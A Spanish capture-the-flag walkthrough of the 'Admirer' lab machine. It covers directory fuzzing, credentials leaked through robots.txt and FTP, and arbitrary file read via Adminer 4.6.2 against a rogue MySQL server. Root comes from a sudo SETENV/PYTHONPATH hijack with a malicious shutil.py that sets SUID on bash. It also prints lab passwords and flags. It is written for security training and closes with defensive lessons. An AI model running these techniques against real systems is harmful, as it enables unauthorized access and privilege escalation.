Admirer
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Admirer es una máquina Linux fácil que premia leer despacio. Elrobots.txtseñala un/admin-dircon uncredentials.txtque abre el FTP; ahí dentro hay una copia antigua del sitio con unadminer.php(Adminer 4.6.2). Adminer permite conectarse a una base de datos nuestra, así que montamos un MySQL falso y conLOAD DATA LOCAL INFILEleemos/var/www/html/index.php, que filtra la contraseña dewaldo. Esa credencial sirve también para SSH. Comowaldotenemos unsudocon la etiquetaSETENV: conservamosPYTHONPATHy hacemos un secuestro de librería de Python sobreshutilpara terminar comoroot.
Reconocimiento
Ping
Un ping rápido confirma que la máquina responde y, por el TTL, orienta sobre el sistema operativo:
ping 10.10.10.187 -c 1
PING 10.10.10.187 (10.10.10.187) 56(84) bytes of data.
64 bytes from 10.10.10.187: icmp_seq=1 ttl=63 time=97.0 ms
--- 10.10.10.187 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 96.978/96.978/96.978/0.000 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
El barrido completo se lanza con jmap, una función del .zshrc que pide la IP y guarda la salida de nmap en formato grepable:
jmap
[+] Introduce una IP
10.10.10.187
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-15 20:48 CEST
Initiating SYN Stealth Scan at 20:48
Scanning 10.10.10.187 [65535 ports]
Discovered open port 80/tcp on 10.10.10.187
Discovered open port 22/tcp on 10.10.10.187
Discovered open port 21/tcp on 10.10.10.187
Completed SYN Stealth Scan at 20:49, 14.77s elapsed (65535 total ports)
Nmap scan report for 10.10.10.187
Host is up, received user-set (0.13s latency).
Scanned at 2025-06-15 20:48:57 CEST for 15s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.89 seconds
Raw packets sent: 72283 (3.180MB) | Rcvd: 72279 (2.891MB)El cuerpo de la función, para reproducir el escaneo sin ella:
jmap () {
echo -e "\n[+] Introduce una IP\n"
read ip
echo
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}La columna REASON vuelve a mostrar el ttl 63 que ya vimos con el ping, esta vez sobre respuestas TCP y no ICMP: dos protocolos distintos apuntando al mismo sistema operativo.
extractPorts parsea ese fichero grepable y deja la lista en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.10.187
Open ports: 21,22,80
Ports copied to clipboard
IP Address: 10.10.10.187
Open ports: 21,22,80extractPorts () {
echo -e "Extracting information..."
ip_address=$(grep -oP 'Host: \K\S+' "$1" | head -n 1)
ports=$(grep -oP '\d+(?=/open)' "$1" | tr '\n' ',' | sed 's/,$/\n/')
echo -e "IP Address: $ip_address"
echo -e "Open ports: $ports\n"
{
echo -e "IP Address: $ip_address"
echo -e "Open ports: $ports\n"
} >> extractPorts.tmp
echo "$ports" | xclip -sel clip
echo -e "Ports copied to clipboard\n"
cat extractPorts.tmp
rm extractPorts.tmp
}Y ahora el escaneo de versiones y scripts, que devuelve un detalle que marca el rumbo: el script http-robots.txt ya descubre una entrada prohibida.
jmap2 10.10.10.187 21,22,80
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
| http-robots.txt: 1 disallowed entry
|_/admin-dir
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kerneljmap2 () {
if [ "$#" -ne 2 ]
then
echo "Uso: jmap2 <ip> <puertos>"
return 1
fi
local ip="$1"
local puertos="$2"
nmap -p"$puertos" -sCV "$ip"
}El script http-robots.txt de nmap se ejecuta solo con -sC y lee el robots.txt por nosotros. Que aparezca /admin-dir aquí es un regalo: se descubre en el reconocimiento inicial, sin lanzar todavía ninguna herramienta de fuzzing.
HTTP: identificar la pila
Antes de fuzzear, conviene saber qué corre detrás. whatweb desde consola:
whatweb 10.10.10.187
http://10.10.10.187 [200 OK] Apache[2.4.25], Country[RESERVED][ZZ], HTML5,
HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[10.10.10.187], JQuery,
Script, Title[Admirer]Y Wappalyzer desde el navegador, que añade la versión de jQuery:

ADMIRER OF SKILLS AND VISUALS
Technologies
Font scripts: Font Awesome
Web servers: Apache HTTP Server 2.4.25
Operating systems: Debian
JavaScript libraries: jQuery 3.4.1Una galería estática sin funcionalidad aparente. El siguiente paso obligado es mirar el código fuente, por si hubiese comentarios o rutas ocultas:

<!DOCTYPE HTML>
<!--
Multiverse by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
-->
<html>
<head>
<title>Admirer</title>
...
<h1><a href="index.html"><strong>Admirer</strong> of skills and visuals</a></h1>
...
<article class='thumb'>
<a href='images/fulls/art01.jpg' class='image'><img src='images/thumbs/thumb_art01.jpg' alt='' /></a>
<h2>Visual Art</h2>
<!-- Footer -->
<footer id="footer" class="panel">
<h2>Allow yourself to be amazed</h2>
<h2>Follow me on ...</h2>
<li><a href="#" class="icon brands fa-twitter"><span class="label">Twitter</span></a></li>
...
<h2>Get in touch</h2>
<form method="post" action="#"><!-- Still under development... This does not send anything yet, but it looks nice! -->Nada aprovechable: es una plantilla gratuita de HTML5 UP con los enlaces sociales apuntando a # y un formulario que el propio comentario admite que no envía nada. Toca enumerar rutas.
Descubrimiento de contenido
Dos herramientas sobre lo mismo, porque usan diccionarios y criterios distintos:
gobuster dir -u http://10.10.10.187 -w /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -b 404
dirsearch -u http://10.10.10.187/ --exclude-status=404,403
# gobuster
/assets (Status: 301) [Size: 313] [--> http://10.10.10.187/assets/]
/images (Status: 301) [Size: 313] [--> http://10.10.10.187/images/]
/server-status (Status: 403) [Size: 277]
Progress: 220564 / 220565 (100.00%)
Finished
# dirsearch
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://10.10.10.187/
[23:23:06] Starting:
[23:23:34] 301 - 313B - /assets -> http://10.10.10.187/assets/
[23:23:50] 301 - 313B - /images -> http://10.10.10.187/images/
[23:24:08] 200 - 126B - /robots.txt
Task CompletedNinguna de las dos encuentra nada más allá de lo esperable en una galería. El único fichero con contenido propio es el robots.txt que nmap ya había señalado.
El robots.txt apunta a /admin-dir
El robots.txt no solo revela la ruta /admin-dir, sino que el comentario admite que contiene "contactos personales y credenciales", justo lo que un robots.txt no debería airear:

User-agent: *
# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dirEse robots.txt firma el aviso con un nombre, waldo, que reaparecerá al final. Y el directorio, efectivamente, no se deja listar:

Forbidden
You don't have permission to access this resource.
Apache/2.4.25 (Debian) Server at 10.10.10.187 Port 80Un 403 no es un muro: significa que el directorio existe pero Apache no lista su contenido. Los ficheros de dentro siguen siendo accesibles si se acierta con el nombre, así que apuntamos el fuzzer a esa ruta concreta:
dirsearch -u http://10.10.10.187/admin-dir/ --exclude-status=404,403
Target: http://10.10.10.187/
[23:48:11] Starting: admin-dir/
[23:48:47] 200 - 135B - /admin-dir/credentials.txt
Task CompletedUn único fichero, y con el nombre más prometedor posible:

[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P
[FTP account]
ftpuser
%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!Tres credenciales de tres servicios distintos. De los puertos abiertos solo el FTP encaja, así que empezamos por ahí.
FTP: una copia antigua del sitio
ftp 10.10.10.187 # ftpuser / %n?4Wz}R$tTF7
prompt
mget *
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:krmena): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 3405 Dec 02 2019 dump.sql
-rw-r--r-- 1 0 0 5270987 Dec 03 2019 html.tar.gz
226 Directory send OK.
ftp> prompt
Interactive mode off.
ftp> mget *
local: dump.sql remote: dump.sql
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
226 Transfer complete.
3405 bytes received in 00:00 (9.10 KiB/s)
local: html.tar.gz remote: html.tar.gz
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
226 Transfer complete.
5270987 bytes received in 00:08 (639.43 KiB/s)El prompt desactiva el modo interactivo, que es lo que permite que mget * descargue todo sin preguntar fichero a fichero. Dos ficheros de diciembre de 2019: un volcado de base de datos y un .tar.gz de 5 MB con la web entera.
tar -xf html.tar.gz &>/dev/null
ls
cd w4ld0s_s3cr3t_d1r
cat contacts.txt
# ls (antes)
dump.sql html.tar.gz reports scan
# ls (después de descomprimir)
assets dump.sql html.tar.gz images index.php reports robots.txt scan utility-scripts w4ld0s_s3cr3t_d1r
# cat contacts.txt
#########
# admins #
#########
# Penny
Email: p.wise@admirer.htb
##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb
# Amy
Email: a.bialik@admirer.htb
# Leonard
Email: l.galecki@admirer.htb
##############
# designers #
##############
# Howard
Email: h.helberg@admirer.htb
# Bernadette
...Esta copia es una versión antigua del sitio: el directorio secreto se llamaba w4ld0s_s3cr3t_d1r en vez de admin-dir, y su credentials.txt contiene lo mismo que ya leímos. El contacts.txt solo aporta correos, sin contraseñas.
Lo valioso es el otro directorio: utility-scripts, que no aparecía en ninguna enumeración. Comprobamos si existe también en la versión actual:

Forbidden
You don't have permission to access this resource.
Apache/2.4.25 (Debian) Server at 10.10.10.187 Port 80Otro 403: el directorio existe en la web actual, solo que no se lista. Y aquí es donde la copia antigua se vuelve un mapa, porque sí podemos ver qué había dentro:
cd utility-scripts
ls -la
total 24
drwxr-x--- 2 root www-data 4096 Dec 2 2019 .
drwxrwxr-x 7 krmena krmena 4096 Jun 15 23:59 ..
-rw-r----- 1 root www-data 1795 Dec 2 2019 admin_tasks.php
-rw-r----- 1 root www-data 401 Dec 1 2019 db_admin.php
-rw-r----- 1 root www-data 20 Nov 29 2019 info.php
-rw-r----- 1 root www-data 53 Dec 2 2019 phptest.phpCuatro nombres para probar a mano en la web actual. admin_tasks.php sí carga:

Admin Tasks Web Interface (v0.01 beta)
up 22 hours, 58 minutes
Select task:
[ View system uptime v ] [ Submit Query ]
View system uptime
View logged in users
View crontab
Backup passwd file (deshabilitada)
Backup shadow file (deshabilitada)
Backup web data (deshabilitada)
Backup database (deshabilitada)Las cuatro opciones interesantes están en gris. Como eso es HTML del lado del cliente, el inspector del navegador basta para ver por qué:

<form method="POST">
<select name="task">
<option value="1">View system uptime</option>
<option value="2">View logged in users</option>
<option value="3">View crontab</option>
<option value="4" disabled="">Backup passwd file</option>
<option value="5" disabled="">Backup shadow file</option>
<option value="6" disabled="">Backup web data</option>
<option value="7" disabled="">Backup database</option>
</select>
<input type="submit">
</form>Un atributo disabled en el HTML es una restricción puramente cosmética: se borra desde el propio inspector.

<option value="4">Backup passwd file</option>
<option value="5">Backup shadow file</option>
<option value="6">Backup web data</option>
<option value="7">Backup database</option>
Select task:
View system uptime
View logged in users
View crontab
Backup passwd file
Backup shadow file
Backup web dataAhora sí se pueden enviar, pero el servidor tiene la última palabra:

Admin Tasks Web Interface (v0.01 beta)
Insufficient privileges to perform the selected operation.
Select task:
[ Backup database v ] [ Submit Query ]Callejón sin salida, pero uno que enseña dos cosas. Primera: la validación real está en el servidor, y el disabled solo era decoración. Segunda, y más importante para lo que viene, ese mensaje Insufficient privileges es literalmente el else de una comprobación de $EUID dentro de un script que veremos entero al escalar privilegios. Estamos mirando la interfaz web de un script que, ejecutado como root, sí hará esas copias.
De los otros tres ficheros, db_admin.php no carga y info.php/phptest.php no aportan nada. Toca una segunda enumeración, esta vez apuntada a /utility-scripts/, por si la versión actual tiene ficheros que la copia antigua no tenía:
dirsearch -u http://10.10.10.187/utility-scripts/ --exclude-status=404,403
[19:44:11] Starting: utility-scripts/
[19:44:37] 200 - 2KB - /utility-scripts/adminer.php
[19:44:37] 200 - 22KB - /utility-scripts/info.php
[19:45:10] 200 - 32B - /utility-scripts/phptest.php
Task Completedadminer.php no estaba en el .tar.gz: es nuevo. Y el nombre se parece sospechosamente al de la máquina, lo cual suele ser una pista deliberada.
Adminer 4.6.2
adminer.php es Adminer, un gestor web de bases de datos (similar a phpMyAdmin) que cabe en un solo fichero PHP. La página de login muestra la versión, 4.6.2:

Adminer 4.6.2
Login
System: [ MySQL v ]
Server: [ localhost ]
Username: [ ]
Password: [ ]
Database: [ ]
[ Login ] [ ] Permanent loginLo decisivo de esta pantalla no es la versión, sino el campo Server: Adminer deja elegir a qué servidor de base de datos conectarse, y nada obliga a que sea el local. Buscando por esa versión aparece el aviso que convierte esa comodidad en vulnerabilidad:


foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool
Adminer 4.2.2 ... 4.7.0
DB: test
SQL command: load data local infile ...El informe de referencia es Serious vulnerability discovered in Adminer tool (Foregenix), y describe el mecanismo: si el atacante controla el servidor MySQL al que Adminer se conecta, ese servidor puede pedirle al cliente (que corre en la máquina víctima) que le envíe ficheros locales mediante LOAD DATA LOCAL INFILE. El resultado es una lectura arbitraria de ficheros de la víctima, sin necesidad de credenciales de su base de datos.
Shell como waldo
Montar el MySQL señuelo
Necesitamos una base de datos nuestra a la que Adminer se pueda conectar, con una tabla donde caiga lo que nos envíe:
# en nuestra máquina (MariaDB)
create database admirer_exploitation;
use admirer_exploitation;
CREATE USER 'user1'@'10.10.10.187' IDENTIFIED BY '1234';
CREATE TABLE output (data VARCHAR(1024));
GRANT ALL PRIVILEGES ON admirer_exploitation.* TO 'user1'@'10.10.10.187';
MariaDB [(none)]> create database admirer_exploitation;
Query OK, 1 row affected (0.001 sec)
MariaDB [(none)]> use admirer_exploitation;
Database changed
MariaDB [admirer_exploitation]> CREATE USER 'user1'@'10.10.10.187' IDENTIFIED BY '1234';
Query OK, 0 rows affected (0.001 sec)
MariaDB [admirer_exploitation]> CREATE TABLE output (data VARCHAR(1024));
Query OK, 0 rows affected (0.011 sec)
MariaDB [admirer_exploitation]> GRANT ALL PRIVILEGES ON admirer_exploitation.* TO 'user1'@'10.10.10.187';
Query OK, 0 rows affected (0.002 sec)El usuario se crea acotado a la IP de la víctima ('user1'@'10.10.10.187'), que es lo mínimo razonable: nadie más podrá usarlo.
Falta un paso sin el cual nada de esto funciona. Por defecto MariaDB solo escucha en 127.0.0.1, así que hay que abrirlo a la red:
sudo nano /etc/mysql/mariadb.conf.d/50-server.cnf
(el comando abre el editor; el contenido se ve en la captura siguiente)
# * Basic Settings
#
#user = mysql
pid-file = /run/mysqld/mysqld.pid
basedir = /usr
#datadir = /var/lib/mysql
#tmpdir = /tmp
# Broken reverse DNS slows down connections considerably and name resolve is
# safe to skip if there are no "host by domain name" access grants
#skip-name-resolve
# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
bind-address = 0.0.0.0LOAD DATA LOCAL INFILE
Desde Adminer iniciamos sesión apuntando a nuestro servidor, no al suyo: en Server va nuestra IP de VPN (10.10.16.4), con el usuario y la base que acabamos de crear.

Adminer 4.6.2
Login
System: MySQL
Server: localhost
Username: user1
Password: ••••
Database: admirer_exploitation
[ Login ] [ ] Permanent login(El campo Server aparece con el marcador de posición localhost en gris; el valor real que se envía es nuestra IP, como confirma la URL de la captura siguiente.)

MySQL » 10.10.16.4 » Database: admirer_exploitation
Adminer 4.6.2 5.3.0
DB: admirer_exploitation
SQL command | Import | Export | Create table
Tables and views
Table Engine Collation Data Length
output InnoDB utf8mb4_uca1400_ai_ci 16,384
1 in totalLa migaja de pan de arriba lo dice todo: MySQL » 10.10.16.4. Adminer, corriendo en la víctima, está conectado a nuestra base de datos. Vamos a SQL command y lanzamos la consulta. El primer intento, /etc/passwd, falla:
LOAD DATA LOCAL INFILE '/etc/passwd'
INTO TABLE admirer_exploitation.output
Error in query (2000): open_basedir restriction in effect. Unable to open fileEse error es informativo, no un muro. open_basedir es una directiva de PHP que confina al intérprete a un conjunto de directorios: por muy legible que sea /etc/passwd a nivel de sistema, PHP tiene prohibido abrirlo. Y de aquí sale la pista que resuelve el problema: si PHP está confinado, casi con seguridad lo está a su propio directorio web, así que hay que pedir ficheros de dentro de /var/www/html/.
¿Cuál? Volvemos a la copia antigua del sitio y buscamos por la palabra clave obvia:
sudo grep -riE 'password' | head -n 10
utility-scripts/db_admin.php: $password = "Wh3r3_1s_w4ld0?";
utility-scripts/db_admin.php: $conn = new mysqli($servername, $username, $password);
index.php: $password = "]F7jLHw:*G>UPrTo}~A"d6b";
index.php: $conn = new mysqli($servername, $username, $password, $dbname);
assets/sass/components/_form.scss: input[type="password"],
assets/sass/components/_form.scss: input[type="password"],
assets/css/main.css: input[type="password"],
assets/css/main.css: input[type="password"],
assets/css/main.css: input[type="password"]:focus,
assets/css/main.css: input[type="password"],Dos ficheros con credenciales de base de datos, y ninguna de las dos contraseñas sirve para SSH (son de la copia de 2019). Pero lo importante no son los valores: es que index.php contiene credenciales. Si en la versión antigua las tenía, la versión en producción tendrá las suyas, probablemente distintas. Apuntamos ahí:
LOAD DATA LOCAL INFILE '/var/www/html/index.php'
INTO TABLE admirer_exploitation.output
Query executed OK, 123 rows affected. (0.757 s)123 filas: una por línea del fichero. El open_basedir no molesta porque /var/www/html/ es precisamente el directorio permitido.
De index.php a la contraseña de waldo
Volcamos la tabla desde nuestro propio cliente de MariaDB:
select * from output;
MariaDB [admirer_exploitation]> select * from output;
ERROR 2006 (HY000): Server has gone away
No connection. Trying to reconnect ...
Connection id: 39
Current database: admirer_exploitation
| data |
| <!DOCTYPE HTML> |
| <!-- |
| <html> |
...
| $servername = "localhost"; |
| $username = "waldo"; |
| $password = "&<h5b~yK3F#{PaPB6dA}{H>"; |
| $dbname = "admirerdb"; |
| |
| // Create connection |
| $conn = new mysqli($servername, $username, $password, $dbname);
| // Check connection |
| if ($conn->connect_error) { |
| die("Connection failed: " . $conn->connect_error); |
| } |
| $sql = "SELECT * FROM items"; |
| $result = $conn->query($sql); |El index.php en producción lleva credenciales distintas a las de la copia de 2019: usuario waldo y contraseña &<h5b~yK3F#{PaPB6dA}{H>. (El Server has gone away de la primera línea es solo la sesión de MariaDB expirada por inactividad; se reconecta sola.)
SSH
waldo no es solo un usuario de MySQL: es el nombre que firmaba el robots.txt, así que es razonable suponer que también existe en el sistema y que reutiliza la contraseña.
ssh waldo@10.10.10.187
id
The authenticity of host '10.10.10.187 (10.10.10.187)' can't be established.
ED25519 key fingerprint is SHA256:MfZJmYPldPPosZMdqhpjGPkT2fGNUn2vrEielbbFz/I.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.187' (ED25519) to the list of known hosts.
waldo@10.10.10.187's password:
Permission denied, please try again.
waldo@10.10.10.187's password:
Linux admirer 4.9.0-19-amd64 x86_64 GNU/Linux
...
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Thu Aug 24 16:09:42 2023 from 10.10.14.23
waldo@admirer:~$ id
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins)El primer intento falla: es la contraseña de la copia antigua. La segunda, la que acabamos de sacar del index.php en producción, entra. Dos datos más de esa salida: la distribución es Devuan (Debian sin systemd) y waldo pertenece al grupo admins, lo cual anticipa que tendrá permisos especiales.
cat user.txt
waldo@admirer:~$ cat user.txt
f88488375536e1bc19bf0d4be2761a70Shell como root
sudo SETENV sobre admin_tasks.sh
sudo -l revela el detalle que lo cambia todo. waldo puede ejecutar un script como root, pero con la etiqueta SETENV:
sudo -l
cat /opt/scripts/admin_tasks.sh
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sb...
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
waldo@admirer:~$ cat /opt/scripts/admin_tasks.sh
#!/bin/bash
view_uptime()
{
/usr/bin/uptime -p
}
view_users()
{
/usr/bin/w
}
view_crontab()
{
/usr/bin/crontab -l
}
backup_passwd()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/passwd to /var/backups/passwd.bak ..."
/bin/cp /etc/passwd /var/backups/passwd.bak
/bin/chown root:root /var/backups/passwd.bak
/bin/chmod 600 /var/backups/passwd.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}Ahí está la otra mitad de lo que vimos en la web: el Insufficient privileges to perform the selected operation. que devolvía admin_tasks.php es exactamente el else de [ "$EUID" -eq 0 ]. La interfaz web ejecutaba este mismo script como www-data, y por eso fallaba. Nosotros vamos a ejecutarlo como root.
SETENV es la clave: aunque Defaults env_reset limpie el entorno, esta etiqueta permite preservar variables que indiquemos en la línea de sudo. El secure_path no protege aquí, porque lo que vamos a manipular no es el PATH de comandos, sino la ruta de búsqueda de módulos de Python.
Y esa oportunidad aparece más abajo en el mismo script:

backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while ..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_db()
{
if [ "$EUID" -eq 0 ]
then
echo "Running mysqldump in the background, it may take a while ..."
#/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
/usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
option=$1
case $option in
1) view_uptime ;;
2) view_users ;;
3) view_crontab ;;
4) backup_passwd ;;
5) backup_shadow ;;
6) backup_web ;;
7) backup_db ;;La opción 6 invoca /opt/scripts/backup.py. Un script de Python ejecutado como root es justo lo que hace falta. De paso, la línea comentada de backup_db explica de dónde salía el dump.sql que descargamos por FTP.
cat /opt/scripts/backup.py
#!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)Python Library Hijacking sobre shutil
backup.py hace from shutil import make_archive. Python busca el módulo shutil recorriendo las rutas de sys.path, y PYTHONPATH se antepone a esa lista. Si conseguimos que PYTHONPATH apunte a un directorio escribible con un shutil.py nuestro, ese se importará antes que el de la librería estándar. Es un secuestro de librería.
Conviene comprobarlo en vez de darlo por hecho: se mira sys.path antes y después de exportar la variable.
python -c 'import sys; print sys.path'
ls -l /usr/lib/python2.7/shutil.py
export PYTHONPATH="/tmp"
python -c 'import sys; print sys.path'
cd /tmp
nano shutil.py
cat shutil.py
sudo PYTHONPATH=/tmp /opt/scripts/admin_tasks.sh
/bin/bash -p
cd /root/
cat root.txt
waldo@admirer:~$ python -c 'import sys; print sys.path'
['', '/usr/lib/python2.7', '/usr/lib/python2.7/plat-x86_64-linux-gnu', '/usr/lib/python2.7/lib-tk', '/usr/lib/python2.7/dist-packages']
waldo@admirer:~$ ls -l //usr/lib/python2.7/shutil.py
-rw-r--r-- 1 root root 19075 Feb 6 2022 //usr/lib/python2.7/shutil.py
waldo@admirer:~$ export PYTHONPATH="/tmp"
waldo@admirer:~$ python -c 'import sys; print sys.path'
['', '/tmp', '/usr/lib/python2.7', '/usr/lib/python2.7/plat-x86_64-linux-gnu', '/usr/lib/python2.7/lib-tk', '/usr/lib/python2.7/dist-packages']
waldo@admirer:~$ cd /tmp
waldo@admirer:/tmp$ nano shutil.py
waldo@admirer:/tmp$ cat shutil.py
import os
os.system("chmod u+s /bin/bash")
waldo@admirer:/tmp$ sudo PYTHONPATH=/tmp /opt/scripts/admin_tasks.sh
[sudo] password for waldo:
[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...
waldo@admirer:/tmp$ Traceback (most recent call last):
File "/opt/scripts/backup.py", line 3, in <module>
from shutil import make_archive
ImportError: cannot import name 'make_archive'
waldo@admirer:/tmp$ /bin/bash -p
bash-4.4# whoami
root
bash-4.4# cd /root/
bash-4.4# cat root.txt
981ffba0bf04637635b12c59fc815a0cLa salida documenta el mecanismo completo. Antes de exportar, sys.path empieza por '' y sigue por los directorios del sistema; después, /tmp se cuela en segunda posición, delante de /usr/lib/python2.7. El ls -l confirma además que el shutil.py legítimo pertenece a root y no se puede tocar, de ahí que haya que adelantarse a él en vez de modificarlo.
El detalle final es el ImportError: cannot import name 'make_archive'. Ese error es la prueba de que el secuestro funcionó: Python importó nuestro shutil.py, ejecutó su cuerpo (el chmod u+s /bin/bash, ya como root) y solo entonces buscó make_archive, que en nuestro módulo no existe. El script muere, pero el bit SUID ya está puesto. Con bash -p mantenemos el euid 0 y leemos la flag.
Cadena de ataque
nmap -sC → http-robots.txt → /admin-dir (403, pero enumerable)
│ dirsearch → /admin-dir/credentials.txt → cuenta FTP (ftpuser)
▼
FTP → html.tar.gz (copia de 2019 del sitio) → utility-scripts/ (403 en la web actual)
│ dirsearch dirigido → utility-scripts/adminer.php (Adminer 4.6.2)
▼
MySQL propio (bind-address 0.0.0.0) + LOAD DATA LOCAL INFILE
├─ /etc/passwd → open_basedir restriction (descartado, y pista de dónde sí mirar)
▼
/var/www/html/index.php → waldo:&<h5b~yK3F#{PaPB6dA}{H>
│ reutilización de credencial
▼
ssh waldo → user.txt
│ sudo -l → (ALL) SETENV: /opt/scripts/admin_tasks.sh → opción 6 → backup.py
▼
PYTHONPATH=/tmp + shutil.py malicioso (library hijack) → /bin/bash SUID → root.txtLecciones aprendidas
- El
robots.txtno es un control de acceso. Listar ahí/admin-dircon "credenciales" es señalar la puerta y dejarla cerrada con un cartel. Encima, el propio comentario firmaba con el nombre de usuario que acabaría dando la shell. - Un 403 dice que el directorio existe. Tanto
/admin-dircomo/utility-scriptsdevolvían Forbidden, y ambos escondían ficheros accesibles por nombre. Apuntar el fuzzer a la ruta concreta, no solo a la raíz. - Las copias antiguas son un mapa de la actual. El
html.tar.gzno contenía la contraseña buena, pero sí los nombres (utility-scripts,index.php) que dijeron dónde mirar. No dejar respaldos del sitio en servicios accesibles. disableden el HTML no es un control. Las opciones grises del panel se activan desde el inspector; la única protección real era la comprobación de$EUIDdel lado del servidor.- Leer el mensaje de error exacto ahorra horas.
open_basedir restriction in effectno significa "el fichero no es legible": significa que PHP está confinado a un directorio, y eso indica precisamente dónde sí se puede leer. - Adminer puede leer ficheros del servidor que lo aloja. El
LOAD DATA LOCALcontra un MySQL atacante convierte un gestor de BBDD en una lectura arbitraria de archivos. Mantener Adminer actualizado y nunca exponerlo sin autenticación. SETENVen sudoers anula buena parte deenv_reset. Permitir variables de entorno controladas por el usuario en unsudoprivilegiado abre secuestros de librería como el deshutil. EvitarSETENVsalvo necesidad real y usar rutas absolutas e imports defensivos en los scripts privilegiados.